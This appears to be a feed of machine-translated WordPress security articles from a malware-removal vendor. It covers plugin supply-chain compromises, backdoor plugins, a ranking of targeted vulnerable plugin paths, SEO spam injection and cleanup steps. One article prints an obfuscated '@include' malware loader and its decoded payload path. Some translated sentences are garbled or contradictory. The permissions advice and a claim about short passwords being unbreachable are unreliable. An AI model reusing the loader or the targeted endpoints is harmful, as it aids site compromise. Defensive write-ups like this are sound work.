					<description><![CDATA[We will explain actual cases of WordPress plug-ins becoming malware due to acquisition by another company or hijacking of wordpress.org accounts, and how to prevent this from happening in advance. Can plugins distributed from the official WordPress website contain malware? Plugins distributed from the official WordPress website are open source, meaning that their code is available to technicians from all over the world, and they are constantly checked for malware by volunteer private developers, security companies, and WordPress operators. For this reason, although it is rare, there have been several cases where plug-ins (including updates) distributed from the official site have been infected with malware and have been distributed. 1 Display Widgets malware contamination case 2017 Display Widgets was a popular plugin used by about 200,000 sites, but the developer sold the plugin to a third party for $15,000. With the subsequent v2.6.0 release, malware was introduced by that third party, and numerous sites that updated to this version or installed Display Widgets were affected by the malware. (According to one theory, tens of thousands of sites). The timeline of this incident is as follows May 19, 2017. Former developer sells plugin to third party (under the name Mason Soiza) for $15,000 June 21, 2017 New owner releases first update v2.6.0. Malware code is secretly inserted at this point. June 22, 2017 SEO consultant David Cameron Law discovers an anomaly in v2.6.0; reports to WordPress.org that it is downloading over 38MB of external code and sending user IP addresses, viewed pages, domains, etc. to a third-party server June 23, 2017. WordPress.org Removes Plugin from Repository (1st time) June 30, 2017 Attacker releases v2.6.1, which includes geolocation.php but is &#8220;not recognized as malicious code&#8221; and allowed to be reposted. New exploit adds ability to hide spam content from view for logged-in users. July 1, 2017 WordPress.org removed (for the second time) July 6, 2017 Released v2.6.2, keeping geolocation.php and adding ON/OFF option to &#8220;make it look legit&#8221; July 23, 2017 Another user reports spam delivery. July 24, 2017 WordPress.org removed (for the 3rd time) September 2, 2017 v2.6.3 is released. Malware is still intact and even bug fixes are made, deemed &#8220;clearly intentional maintenance&#8221;. September 8, 2017 WordPress.org permanently removed (4th and final) As you can see from the history, when a plugin contains malware, it is discovered within 1-20 days, and WordPress officials have stopped distributing that plugin within 20 days even in this weasel-worded case. This case was the first time ever that a malicious plugin acquirer said it had fixed the problem multiple times, but in fact continued to maliciously introduce malware. 2 Social Warfare Malware Contamination Case 2024 The Social Warfare plugin malware contamination incident was not an acquisition, but a malware contamination incident that occurred when hackers took over the Social Warfare development management screen (plugin upload management and other functions of wordpress.org). This is said to be a strong possibility, and the investigation is still ongoing. June 22, 2024. Malicious code was introduced into Social Warfare, distributed as an automatic update via WordPress.org. June 22, 2024. WordPress.org [&#8230;]]]></description>

					<description><![CDATA[Hackers may install malicious plugins (wp-cleansong, wp-cache, optimize-core, system.php, etc.) once they have successfully infiltrated a WordPress site. This section describes how to deal with the installation of such unauthorized plug-ins. Rogue plug-ins introduced by hackers Once hackers have successfully infiltrated a WordPress site, they may install a type of malicious program called a backdoor in the server to facilitate various subsequent unauthorized activities on the server, such as tampering or sending spam emails. This backdoor may take the form of a plugin that runs on WordPress and may be installed and activated unknowingly. There are also attacks that use a legitimate PHP-running plugin plus malicious code to write to the database. Reference WPCode &#8211; Malware embedded in database via Insert Headers and Footers plugin How to tell if a plugin is malicious Malicious plug-ins may masquerade as security plug-ins, update plug-ins, etc., in order to appear harmless. If you see a suspicious plugin in the list of plugins in the WordPress administration screen, you can use the following methods to identify the plugin to some extent. 1 Plug-in does not exist on the official WordPress website WordPress plug-ins are listed on the official WordPress website according to the following rules. https://wordpress.org/plugins/"Slug"/ *Slug is the name of the plugin folder in wp-content/plugins. If a plugin is not listed as an official plugin and you do not remember installing it, it may be a rogue plugin installed by a hacker. 2 Code is obfuscated Hackers often obfuscate the code to hide the original function of the malicious code. If you download and open the code of a plugin using FTP software and find obfuscated code such as the following, it may be a malicious plugin installed by a hacker. 3 There is a file in the plugin folder that is judged as malicious code by the malware scan. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal] If there are files in the plugin folder that are detected as malware by malware scanning plugins such as [Free] WordPress:Malware Scanning &#038; Security Plugins [Malware &#038; Virus Detection &#038; Removal], there is a high possibility that the plugin is a malicious one installed by hackers. How to deal with rogue plug-ins If you are certain that a hacker has introduced a malicious plugin, stop and remove the plugin. If the hacker was able to install a malicious plugin, it means that he/she is able to log in to the administration screen, so it may be necessary to take other security measures. If the hacker was able to install other malicious files, it means that the hacker has been able to log in to the administration screen, so we will need to take other security measures. Check for unauthorized user registration. Countermeasures against vulnerabilities that allowed hackers to enter the server. Reference 5 free WordPress security measures]]></description>

					<description><![CDATA[Here are the 10 most commonly targeted plugin vulnerabilities currently detected by WP Doctor *The number of attacks is the number of attacks detected by our dummy sites and security plugins over a period of 1 day to 1 week. 10th /wp-content/plugins/ZoomSounds/savepng.php 606 attacks This attack targeted a vulnerability in the ZoomSounds plugin that allows files to be uploaded onto the server as well. If you have this plugin installed and continue to use an unpatched version, a hacker could remotely upload files to your server, including backdoors. 9th /wp-content/plugins/wp-file-manager/lib/files/wpadmin.php 702 attacks 7th /wp-content/plugins/wp-file-manager/lib/files/uladmin.php 757 attacks 5th /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 1249 attacks The wp-file-manager plugin, which displays a list of files on the site and allows users to add and remove files from the WordPress administration screen, has several dangerous vulnerabilities in older versions. Some of them allow the aforementioned arbitrary files to be uploaded to the server, which is still a common cause of site tampering today. (Many of our clients have older versions of wp-file-manager on their sites.) 8th /wp-content/plugins/vwcleanerplugin/bump.php 723 attacks The plugin vwcleanerplugin does not exist on the official WordPress site. This attack seems to be a type of attack that is being done in an attempt to reuse a malicious program installed by another hacker (to try to gain access to the site, including whether the plugin even exists). If a hacker breaks into a site and installs an unauthorized backdoor or tool, the site can be further attacked by several other hackers. 6th /wp-content/plugins/cherry-plugin/admin/import-export/download-content.php 852 attacks The plugin cherry-plugin is also not present on the official WordPress site. This is another attack similar to the aforementioned vwcleanerplugin. 4th /wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php 2626 attacks The media-library-assistant plugin also has multiple vulnerabilities. The vulnerability in mla-file-downloader.php also reads and executes a file, which is an attack that attempts to execute on the server by passing the file path of an unauthorized file that you want to include in this file. 3rd /wp-content/plugins/dzs-zoomsounds/savepng.php 3801 attacks This attack takes advantage of a vulnerability in the dzs-zoomsounds plugin to upload arbitrary malicious files onto the server. 2nd /wp-content/plugins/apikey/apikey.php 4614 attacks 1st /wp-content/plugins/ioptimization/IOptimize.php 7797 attacks The plugins apikey and ioptimization, ranked #1 and #2, also do not exist on the official WordPress site. This is also an attack that attempts to reuse a backdoor installed by another hacker similar to the aforementioned vwcleanerplugin. Hackers attack sites at random, so the presence of access logs like the above does not necessarily mean that the attack was successful. Hackers attack a vast number of WordPress sites at random with automated tools to see if they can be successfully infiltrated. For this reason, it is important to keep a cool head, because even if an attack such as the above is logged, it does not necessarily mean that the hacker was able to break into the server. How to prevent major vulnerability attacks? The vulnerability attacks that hackers like the most are, as mentioned above, those that reuse backdoors installed by other hackers, or those that are highly dangerous and can be easily exploited to install malicious files on [&#8230;]]]></description>

					<description><![CDATA[Here is a case study of a WordPress content injection that caused an online casino site to operate on its own server. What is content injection? Content injection is the embedding of content on the server that is not intended by the operator. In the case of our malware removal service, over 7,000 online casino introduction pages were hosted in the folder &#8220;online-casino&#8221; on the initial domain of the X server. online-casino folder of the initial X server domain, more than 7,000 online casino introduction pages were hosted without permission. Why and how do hackers perform content injection? The embedding of malicious content from the online casino in this case may be to hook it into the search engines and improve the SEO of the site, which is the hacker&#8217;s intention, or to embed this content in another malicious site or in spam emails to hide who is creating and hosting the content. or to embed this content in another rogue site or in a spam email to hide who is creating and hosting the content. In our customer&#8217;s case, content injection was performed on the initial domain of the X server, but there were no other files in the initial domain folder of the X server. This means that there is another malware body (backdoor) embedded in the folders of other sites on the server that can write to the server-wide folder. Malware (backdoors) in all site folders on the server need to be removed and vulnerabilities addressed. Many of today&#8217;s malware reads the folder structure of all sites hosted on the server to spread infection, perform content injection, etc. For this reason, if any site on the server shows symptoms of malware, we recommend that you remove the malware from all WordPress sites hosted on the server and take measures to prevent vulnerabilities. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. What happens if I leave my site infected with malware? If left unchecked, malware infection can result in the aforementioned content injection contaminating search results, preventing users from reaching your site, a large amount of malware from low-quality programs being embedded in your site, rendering your site unviewable, or your domain becoming a springboard for spam emails so that your It can also be a stepping stone for spammers, causing your domain&#8217;s email address to be blocked by spam filters, or even worse, users can be misdirected to another site and suffer actual damage. We recommend that all sites on the server be cleaned of malware and secured as soon as possible.]]></description>

					<description><![CDATA[Taking advantage of the convenience of being able to operate multiple domain sites under a single server contract, malware today often analyzes the server folder structure and spreads infection from one site to the folders of other sites (domains). Malware spreading to folders between sites This type of malware spreads by infecting one site on a server, copying confidence and setting up backdoors even if there are no vulnerabilities in WordPress folders on other domains. If left unchecked, the malware can infect all sites on the server, making it impossible to log in to many sites on the server, forcing users to redirect to other malicious sites, or downloading malicious software. This is very dangerous. How to prevent site-to-site malware infection?　If you are not yet infected with malware To prevent such malware infection from occurring, it is important that basic security measures are essential at all sites on the server. (Please do not create a neglected site.) Basic security measures include the following Remove unused themes and plug-ins. Update WordPress and plug-ins every few months to prevent hackers from taking advantage of vulnerabilities. Strong administrator login passwords. Reference Five free WordPress security measures How to prevent site-to-site malware infection?　If you have multiple sites on your server and one or more of them is infected with malware If you have multiple sites on your server and one or more of them are infected with malware, you need to consider the possibility that the malware is spreading beyond the site-to-site folders. We will inspect and remove malware from malware-infected sites. Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. We will update the WordPress and plug-ins of the infected site and take the aforementioned basic security measures. Suspect other sites on the server to be infected as well. We also need to suspect the presence of malware or backdoors on sites other than the obviously malware-infected site. We recommend that all sites on the server be scanned for malware and that the basic security measures described above be followed. If it is clear that more than one site on the server is infected, we strongly recommend that all sites on a server within a single server contract be &#8220;scanned for malware and have basic security measures in place&#8221;. In addition, removing unnecessary sites or moving only the important sites to a different server contract after cleanup will help reduce the spread of malware from one server to another.

					<description><![CDATA[When WordPress is infected with malware (tampered with), updating WordPress and plug-ins may not remove the malware. Does the malware disappear when I update wordpress and plugins? WordPress allows you to update the WordPress itself, themes, and plugins from the admin panel. If WordPress is infected with malware, using the update function will indeed replace all of the updated WordPress and plugin programs with new, clean code, but it will not necessarily remove all of the malware. Specifically, the following types of malware cannot be removed by the update. Malware contained in plug-ins that have not been updated (or could not be updated) Malware in files that are not replaced by updates, such as wp-config.php Malware that is not parasitic on files, but exists by itself, such as backdoors. Malware in wp-content/upload folder However, this does not mean that updating is meaningless. Updating itself is an important security measure because updating WordPress itself or plugins may close the vulnerabilities that allowed hackers to enter in the first place. How do I remove malware that remains after updating WordPress and plugins? We recommend that you use a malware detection plugin to scan all sites on your server* even after updating WordPress and plugins. This is because there is a possibility that the malware has been tampered with via other sites on the server. Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. However, since malware producers are constantly improving their malware code to slip through the scan every day, malware scanning plug-ins have their limitations and may not be able to detect everything. If you subscribe to our malware plug-ins for a fee, you will be able to use these new malware detection patterns, as we register several thousand new detection patterns per year. We also recommend that you have a professional malware removal service if re-infection occurs repeatedly.]]></description>

					<description><![CDATA[WordPress Doctor helps hundreds of sites a year clean up malware and create secure sites. Based on this experience, we have created a checklist for running WordPress securely according to its level of importance. We hope you find it helpful. Only three of the most important aspects of WordPress security If these three things are met, 99.9% of WordPress hacks can be prevented. 1 Is your WordPress admin password strong? Use a password that is a meaningless string of characters, including single-byte alphanumeric symbols, and at least 12 characters long. Whenever possible, use a password automatically generated by WordPress. 2 Have you left unused plug-ins or themes installed? Are there any vulnerabilities in WordPress itself or its plug-ins? Leaving unused themes and plugins inactive will only increase the risk of vulnerabilities, since only the program files will be present while the functionality is not used. Please remove any plug-ins or themes that have been deactivated and check for vulnerabilities. We also recommend that you minimize the number of plug-ins you use. 3 Are there any other sites on the server that do not meet the requirements of 1 and 2? Even if you are careful about the security of only the sites you do not want to be hacked, if other sites on the server are vulnerable, they may be hacked or tampered with, and folders on other domains may also be tampered with via those sites. Please make sure that the above 1 and 2 are met for all WordPress sites on the same server that share the same root folder. Five checklists to further increase WordPress security and make it safer 4 Have you installed and properly configured security plugins? Our recommended security plug-ins, All In One WP Security &#038; Firewall or [Free] WordPress: Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal], and configure WordPress security features appropriately. 5 Login Screen Security To prevent brute force attacks that mechanically log in to the admin screen tens of thousands of times to break through passwords, we recommend installing a captcha on the login screen or enabling the ability to change the login screen URL with a plugin such as the one in 4. 6 Prohibit Index display (function to prohibit displaying the list in a folder) When a folder on the server is accessed, the Index output function outputs a list of files in the folder, but this function may cause search engines to display the folders of vulnerable plugins in search results. This can be a clue for hackers to easily infiltrate your site. Index display prohibition can be done with the plugin 4, or by writing the following string to HTACCESS. Options -Indexes 7 Are the file write permissions set properly? You can also inspect the 4 plugins to see if the write permissions on WordPress files are properly set. However, if write permissions are set too tight, automatic updates of WordPress and plugins may not be applied or updates may not be possible. Basically, you should not use the write permission of 777, but set [&#8230;]]]></description>

					<description><![CDATA[This page explains how to respond to users (those who use the site) when there is a possibility of damage to users who visit the site, such as being redirected to another site, being sent to a sweepstakes site, or downloading malicious files due to WordPress tampering. This page explains how to respond to users (those who use the site) in cases where users who visit the site may be harmed. Identify what damage could be done to users who visit the site First, identify what harm could be done to users who visit your site. Redirected to an unauthorized site Users are redirected to an unauthorized site. Spam emails are sent from the site Downloading malicious files Unknown malicious pages are hosted on the server. We know that there are many reasons for this. If the entire site does not need to be shut down immediately For example, if the cause of the problem is only a few pages or the server itself, such as spam mail being sent, you may only need to temporarily disable the contact form page instead of shutting down the entire site. In the case of malicious pages appearing in search results, even if the entire site is closed, it may take some time for Google to confirm that the pages are no longer there and remove them from its search index. If you can remove the malware immediately (within a week), it may be better to continue with the malware removal process instead of closing the entire site. When it is better to consider temporarily closing the site In other cases, if it is expected to take more than a week to remove the malware from the server, or if the site has been repeatedly tampered with and reinfected, we may want to consider temporarily closing the entire site because of the possibility of increased damage to users visiting the site. In addition, if the site has a large number of hits, or if it is a government site with high social significance, it may be possible that users may be sent to an unauthorized site where they may be infected with a virus or their credit cards may be stolen, so we recommend that you consider shutting down the site immediately. Please contact us for more information. How to close the site and save files Maintenance Mode Even if you put your site into maintenance mode with a plugin, all WordPress program files are still in the same location, which means that vulnerabilities and backdoors are still accessible to hackers in many cases. It also does not prevent the downloading of malicious files hosted on your site. Therefore, while our maintenance mode will not prevent a drastic site tampering from spreading, it will prevent visitors from being redirected to another site or from using a hosted malicious page. File Evacuation Create a folder on the server, place all WordPress-related and other webroot files in it, and set the folder&#8217;s permissions to 000 (not allowed). Then, create an HTML file (index.html) that notifies users accessing [&#8230;]]]></description>

					<description><![CDATA[This section describes a case in which a large number of HTML files are stored in a folder with a random name without permission, which is a type of malware (server tampering) that has been detected very frequently in recent years, and these files are then caught by search engines. What kind of malware? This malware creates a folder with a random name (or a name such as fox-404) in the server, and generates a large number of HTML files with hyphenated keyword file names in it. Examples of file names animation-using-python.php garlic-sherbet-strain-leafly.php The file extension may also be HTML. animation-using-python.html garlic-sherbet-strain-leafly.html woocommerce-nft-plugin.html This HTML file contains a large amount of meaningless English text, and the bottom part of the file is &#60;a href=http://.... /wp-content/uploads/2020/12/prgaojwhb/woocommerce-nft-plugin.html&#62;96rs&#60;/a&#62; A large number of links have been inserted, such as This malware features This malware further modifies the sitemap to hook search engines with HTML files like the one above. Hence, when searching for your site name, a large number of pages that you do not remember producing will be trapped. In addition, the large number of link strings at the bottom of the page may be used to increase the search engine ratings of external sites. This type of tampering is called an SEO hack. What if there are a large number of HTML files on the server that I don&#8217;t remember producing? 1 Back up your site and perform malware scanning and removal. Please use the [ Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. You may also use FTP software to delete the entire folder containing the large amount of malicious HTML. 2 Site Security Measures Reference page 5 Free WordPress Security Measures 3 Incorrect pages registered in search engines Once a fraudulent page is registered with a search engine, there is basically no way for the site operator to immediately remove it from the search results. Once the search engine crawls your site and confirms that the page is no longer there, it will be automatically removed from the search engine results. Generally, this can take up to a month. It may be possible to speed up the process somewhat by deleting the sitemap from the search console and then re-registering the sitemap for the cleaned up site.]]></description>

					<description><![CDATA[This section explains file write permissions, an important WordPress security issue. What are permissions? How do I set them? WordPress contains thousands of files and folders, all of which have permission attributes set for who can view, edit, and run the files. This is called permissions. Permissions can be set by connecting to the server with FTP software and right-clicking on a file. What are proper WordPress permissions? On many servers, WordPress is run by a user with the attribute of owner. The only place where files are written in wordpress is the wp-content/upload folder. However, when updating WordPress itself or a theme plugin, all other folders and files will be rewritten, so in order to be able to perform updates from the administration screen, all files and folders must be deleted from the Read → Allowed for all Write → Allowed for owner only Execute → Allowed This is the simplest and most secure general permission setting. This permission is expressed as a numerical value of 755 in the configuration. What are the most secure permissions? To prevent hackers from tampering and malware from writing to your site, you should make only the wp-content/upload folder writable and make all other files and folders writable, including owner permissions. Logically, all program files cannot be rewritten from the outside. Some servers may restore the permissions on their own, so you may not be able to set these permissions. Read → All are allowed Write → Not allowed for all (except wp-content/upload folder) Execute → All are allowed However, in this case, you will not be able to update from the administration screen. This permission may be used to prevent re-infection of malware if you have been affected by malware and you want to keep this permission for a few months after cleaning up the site. Check if WordPress is running with secure permissions You can use the free WordPress:Malware Scan &#38; Security Plug-in [Malware and Virus Detection and Removal] to check if your files and folders are running with generally secure permissions. In the WordPress admin panel? &#62; Malware Scan &#62; Security tab. If permissions are weak, a red warning will be given for that item.]]></description>

					<description><![CDATA[We have summarized some of the security measures taken by WordPress, which are often misunderstood by many people and often result in tampering and malware embedding! My company&#8217;s (my) website has a small number of hits, and a small site like this is not a target. Hackers are always looking for easier sites to break into, and taking over any WordPress site is like getting a free anonymous server, and the value of the hacked site is not greatly reduced just because it has a small number of visitors. Spam mail springboard A virus downloading site that misdirects users from other sites. Hacking even a small site can be used for illegal activities such as spamming, downloading viruses from other sites, and so on. Today&#8217;s ultra-high-performance search engines can pick up even the smallest of sites, and even the presence of vulnerable plug-ins can be found in search results when searching by HTML code content or WordPress folder structure, so the risk of being hacked is not proportional to the number of hits or the size of the site. The risk of being hacked is not proportional to the number of hits or the size of the site. The risk of being hacked is not proportional to the number of hits or the size of the site. There are WordPress security plug-ins that provide advanced protection only for the login screen, but the WordPress login screen is basically a meaningless string of 10 or fewer characters, including single-byte alphanumeric symbols and numbers, that cannot be breached. However, if you neglect to update your plug-ins, themes, and vulnerabilities, you increase the risk of hacking. More than 60% of hackers break into and deface sites by exploiting plugin vulnerabilities, and there are tools available to check and hack through hundreds of plugin vulnerabilities one after another. Themes and plugins that are not in use are safe because they are deactivated (deactivated). WordPress plugins and themes can be toggled from the admin screen to use or not use the functionality. Since plugins and themes are not enabled, you are reassured that they are not being updated, which increases the risk of hacking. This is because many vulnerabilities can be exploited by direct access to the program, so just having a vulnerable theme or plugin on the server can be hacked. We recommend that unused plugins and themes also be updated or removed from the server. We&#8217;ve performed a cleanup of the hacked site in the server, so we&#8217;re good to go. If you have multiple sites (domains) installed and running on your server, you cannot be completely assured that one site has been tampered with and that one has been restored. Advanced backdoors can be traced from the top-level folder in the server to folders in other domains, and even if the site is not vulnerable, they may have the ability to embed arbitrary files or rewrite files. If these backdoors are missed, other sites on the server are at risk of being defaced. If one of the sites on your server has been defaced, [&#8230;]]]></description>

					<description><![CDATA[We will explain how to decontaminate malware using the WordPress:Malware Scan &#38; Security plugin [Malware and Virus Detection and Removal], which was created by WordPress Doctor based on his experience with numerous malware removal requests. IntroductionPrecautions for Normalware Removal Malware removal requires specialized knowledge. Inadvertent cleanup of malware can result in the worst case scenario, such as a site not displaying. If you do it by yourself, please pay special attention to the following points. 1 If the malware is a parasite that lives in the original WordPress files, only the tampered parts need to be carefully removed. 2 If the file is not a legitimate WordPress file, it is unlikely to cause a problem even if you delete the file itself, but in rare cases, the tampered file may be loaded by another tampered file. In this case, deleting the tampered file may cause an error in the caller file, and at worst, the site may not be displayed. If an error occurs, it is necessary to investigate the source file and delete the tampered file as well. 3 Database infections are often Javascript code embedded in posts or widgets. It is often possible to detoxify the malware by removing only the malware part of the content, without deleting the entire line. Scan for malware and tampering Install the WordPress:Malware Scan &#38; Security plugin [Malware and Virus Detection and Removal] and click the &#8220;Start Scan Now&#8221; button. Once malware is detected, a detection list will appear. The detection list shows two types: pattern match and confirmed diagnosis. If malware is indicated by confirmed diagnosis, it is almost certain that the site has been defaced. We will now explain how to get rid of the malware from this malware example. Actual plug-ins to get rid of malware Step 1 Check if this file is one of the files originally included in WordPress or in the plugin Malware may be contained in the form of a parasite in a legitimate WordPress or plugin file. If this is the case, deleting the file will likely cause problems with your site. Most commonly, this type of malware infects wp-config.php and index.php. This is because wp-config.php and index.php are convenient for hackers to have the malware run automatically, since it is executed every time the page is viewed. How can I be sure that the files are legitimate? It is possible to get a rough idea of whether a file is legitimate or not by checking the following points If the file is not legitimate 1 No &#8220;wp-&#8221; mark 2 It does not have class-. 3 Not index.php 4 Files with meaningless random strings and .php or .ico extensions 5 File name that looks like a misspelling of a legitimate WordPress file, e.g. xmlrrpc.php Otherwise, you can also check if a file is legitimate by actually downloading the core WordPress file or plugin and see if it is in the detected file name and path. Step 2: Eliminate parasitic-type malware View the file from the View Edit File button. Malware code is obfuscated and reduced to [&#8230;]]]></description>

					<description><![CDATA[We are seeing an increasing number of cases of multiple WordPress sites on multiple domains within a single server, all or many of which are infected with malware (viruses and tampering). Why multiple sites are infected with malware or defaced in a chain reaction within a single server Many server operators generally allow multiple domains to be hosted on a single server account. Because the same root folder is shared by multiple sites, if a vulnerability exists in one site on the server that allows hackers to gain entry, they can access the folders of multiple domains on the server via a program (backdoor ) by tracing that site&#8217;s folder to the top, It is possible to plant arbitrary malicious backdoors or malware there. Example of a program to get the full path of the current folder on the server $dir = dirname(__FILE__); echo $dir ; Disinfecting malware on one site in a server but immediately infecting it via another site This situation is very troublesome because even if the malware is removed, the infection will soon spread via other sites and re-infect the server. If left unchecked, low-quality programs may be installed, or multiple hackers may compete with each other to install a variety of malware, which may cause the malware to spread, The site may stop displaying. Search engines may exclude your site from search results. In the worst case, the server company may force the entire site to stop displaying the malware to prevent damage. In the worst case, the server company may forcibly stop displaying the entire site to prevent malware damage. How to deal with malware chain infection At WordPress Doctor, we perform batch cleanup and security measures for all infected sites on the server. Basically, we perform the following tasks 1 Backup all sites in the server We back up all files, folders, and databases for all sites on your server. 2 We will perform a full program cleanup of all sites on your server, as well as a highly accurate malware scan and removal. From the backup files mentioned above, we replace all files with malware-free legitimate files and folders in our local work environment, and conduct more accurate malware scanning of files and databases. Some files that are suspected to be infected or frequently infected are visually inspected by experts to remove malware. Anyone can also use our free WordPress: Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal] to easily scan for malware, etc. 3 The above cleaned site programs and files are applied to the server in a batch. If there is a malware infection across the server, it will be replaced with the cleaned files in a batch. This makes it possible to make hacking via other sites on the same server impossible for all sites at once. 4 Delete unnecessary sites, etc. or quarantine them in a folder with permission 000 After adapting the above data, we will delete unnecessary sites or folders of sites not covered by the request, or quarantine them in a folder with permission [&#8230;]]]></description>

					<description><![CDATA[This page explains the cause and how to target a string starting with @include that suddenly appears at the top of wp-config.php or index.php in WordPress. @include at the top of wordpress wp-config.php or index.php What is this? Simply put, this is often a loading program for malware to run on all pages where the site has been defaced by hackers and this description allows users to view the site. The loading code for this malware, which is generally very common, is as follows /*88783*/ @include "\057var/\167ww/the\155e/.8\0719417\0629.ic\157"; /*88783*/ The first line and the random string of characters/numbers sandwiched between the /* in the last line are keys to confirm the existence of the malware to embed the same tampering again when this tampering is removed. In the second line, following @include, a program is written to read and execute the malware itself, but it is obfuscated so that its contents cannot be seen as is. You can un-obfuscate it here. Once the obfuscation is removed, you will see that the full path to the malware is described as shown below. /*88783*/ @(include "/var/www//theme/.89941729.ico"); /*88783*/ How to deal with this malware 1 Unobfuscate the relevant string and find the path to the malware itself. 2 Delete the malware itself from the server using ftp software, etc. (We recommend that you do a full backup of your site). (We recommend that you do a full backup of your site before proceeding) 3 Remove the tampered parts at the top of wp-config.php and index.php and re-upload them to the server. Also, the presence of this tampering is most likely another tampering on the site, a backdoor (a gateway for hackers), or a vulnerability in a plugin or password. Be sure to check your plugins for malware and vulnerabilities. 4 Remove vulnerabilities and other malware and backdoors as described above. 5 We also recommend that you change the password for the administrator user Our malware plugin is capable of detecting nearly 7,000 types of malware, but some will inevitably be missed. For a complete cleanup, we recommend that you have a professional decontaminate your system.]]></description>

					<description><![CDATA[1 Back door Vulnerabilities, known as backdoors, allow hackers to install hidden entry points on your site to gain access to your WordPress site through the misuse of server privileges. Once the backdoor is exploited, the hacker can access or rewrite all files on the hosting server, or install programs. (This would compromise multiple sites hosted on the same server). Sucuri reports that backdoors continue to be one of the many post-hack actions taken by attackers, with 71% of infected sites having some form of backdoor installation. 2 PharmaHack. Pharma hacks are used to insert malicious code into older versions of WordPress websites and plugins to cause search engines to display pharmaceutical ads when they search your website. This vulnerability can also be a reason for search engines to block your site on the grounds that it is delivering spam. PharmaHack&#8217;s behavior includes plugins and database backdoors. The embedding of this malicious code is often obfuscated in the database and leaks out the plummet, so a thorough cleanup operation, including the database, is required to fix the vulnerability. Reference Please use a plugin that also detects database malware [Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. 3 Brute Force Attacks (brute force attacks) Strong login attempts use automated scripts to exploit weak passwords and attempt to log into a site. Two-step authentication, limiting the number of login attempts, monitoring for unauthorized logins, blocking IPs, and using strong passwords are the easiest and most effective ways to prevent brute force attacks. Brute force attacks also cause site slowdowns and other damage because they send large numbers of login enforcers to the site. Malicious Redirect Redirect Hack A malicious redirect is a vulnerability or a hacker who enters through a brute force attack creates a backdoor in WordPress and injects redirect code into your website. A malicious redirect is a mechanism that is embedded in a website to forcefully misdirect users who visit a site to another site. The redirect code is often placed in obfuscated form in .htaccess files or other core WordPress files, directing web traffic to the malicious site. Cross-site scripting (XSS) Cross-site scripting (XSS) is the injection of malicious scripts into a trusted website or application. Attackers take advantage of this to induce malicious code (usually browser-side scripts) to execute without the end user&#8217;s knowledge. An example would be some script included in a link that is executed the moment it is accessed on the site side. Since it does not involve rewriting the site&#8217;s internal files, it is limited in what it can do, so it is often less damaging than backdoors and the like. Cross-site scripting vulnerabilities are the most common vulnerabilities found in WordPress plugins. Denial of Service Denial of Service (DoS) vulnerabilities are dangerous vulnerabilities that exploit errors or bugs in your code to squeeze the memory of your website&#8217;s operating system. Hackers can use an outdated version of WordPress software, a bug, or a backdoor to another site they target to launch a DoS attack via your site, bringing your site [&#8230;]]]></description>

					<description><![CDATA[We have recently observed many cases where a product page or a page on our site appears in the search results under the name of your site, which you do not remember. We will explain the causes and countermeasures in this case. When a site with an unknown domain is found in the search results with the name or keywords of your (your company&#8217;s) site. If you search for your site&#8217;s name or keywords, and a site with an unfamiliar domain appears in the search results of Google or other search engines, and when you jump to that site, you find that the content of the site has been replaced, even though the header and footer of your site are the same, or you are redirected to an invalid validation page. The site has been hacked and the site has been tampered with, It is likely that the site that has been hacked and defaced is the site of that domain and not yours. The reason why such pages exist is that hackers have borrowed only the header and footer of your site and created fake pages on the hacked site on another domain with only different content. In this case, unless the hacked external site removes the defacement, your site will continue to appear in search results. If your site&#8217;s name or keywords appear in the search results for a product or service on your domain that you do not remember. If a search for your site&#8217;s name or keywords turns up a number of product pages that you do not recognize, and the domain is your site, there is a good chance that your site has been tampered with by a hacker. Pattern 1: Search result links to unrecognized pages result in a 404 In this case, it is likely that the hacker has altered only your site&#8217;s sitemap (the file that tells search engines what pages exist on your site ). You will need to verify the sitemap contents, remove the malicious sitemap, and perform vulnerability testing and backdoor (malware) testing and removal. Pattern 2: Search result links to unrecognized pages exist on your server&#8217;s domain This case is even more deadly and means that the hacker has completed creating a fake page on your server&#8217;s domain. In this case, it is possible that a large number of files have been generated or even the database containing the site&#8217;s content has been tampered with. If this is the case, it is recommended that you have the WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal] scan your site for malware, including databases. Delete unrecognized product pages from search results. This will not remove the malicious pages from the search results until the search engine crawls your site again and confirms that the malicious pages are no longer there. With Google Search Console, you can also re-register a cleaned-up sitemap to notify the search engines that the site&#8217;s rogue pages are no longer present sooner.]]></description>

					<description><![CDATA[Once a WordPress site has been defaced by hackers, embedded malware, or infected with a virus, the site may be repeatedly defaced even after you think you have removed the malware. We will explain how to deal with such cases. Reasons for repeated tampering by hackers 1. Administrator&#8217;s password is leaked. Once WordPress has been hacked, the administrator password may have already been breached. Once the WordPress administrator privileges are taken, the hacker will be able to install and rewrite any file on the server. What to do If you have been hacked, we recommend that you change all of your WordPress administrator passwords once. Reason #2 for repeated hacker tampering: Vulnerable files are left untouched. About 50% of the time when hackers deface a site, they take advantage of vulnerabilities in WordPress itself or in plugins. Even if the site is cleaned up, if these vulnerabilities are left untouched, the site will be hacked again from those vulnerabilities. What to do Make sure you have the latest versions of WordPress, themes, and plugins, and remove any unused plugins. Reason for repeated tampering by hackers 3 Embedded backdoors A backdoor is a program file that serves as an entry point for a site to be defaced. Once a site has been defaced, this backdoor may have been written or embedded somewhere on the site. Check for backdoors by using a malware scanner or other tool that can detect WordPress backdoors. Reference Free WordPress:Malware Scanning &#038; Security Plug-in [Malware and Virus Detection and Removal]. Reason for repeated hacker tampering4 Direct database access Is there a database connection program such as PHPMYADMIN that can modify the database installed at the same time on the server where WordPress is located? Hackers may have already obtained the database connection information by retrieving the wp-config.php file of the WordPress site that was successfully hacked. If the database connection information has been taken, and if PHPMYADMIN is on the server, the hacker can rewrite the database anytime he/she wants. Being able to rewrite the database also means being able to log in as a WordPress administrator. What to do Change the database password and rewrite the connection information in the wp-config.php file. If you have PHPMYADMIN, we recommend that you rename or delete it to a folder name that is less confusing. Reason for repeated hacker tampering: hijacking of root privileges If the WordPress site is located on a server that also grants root privileges to users, 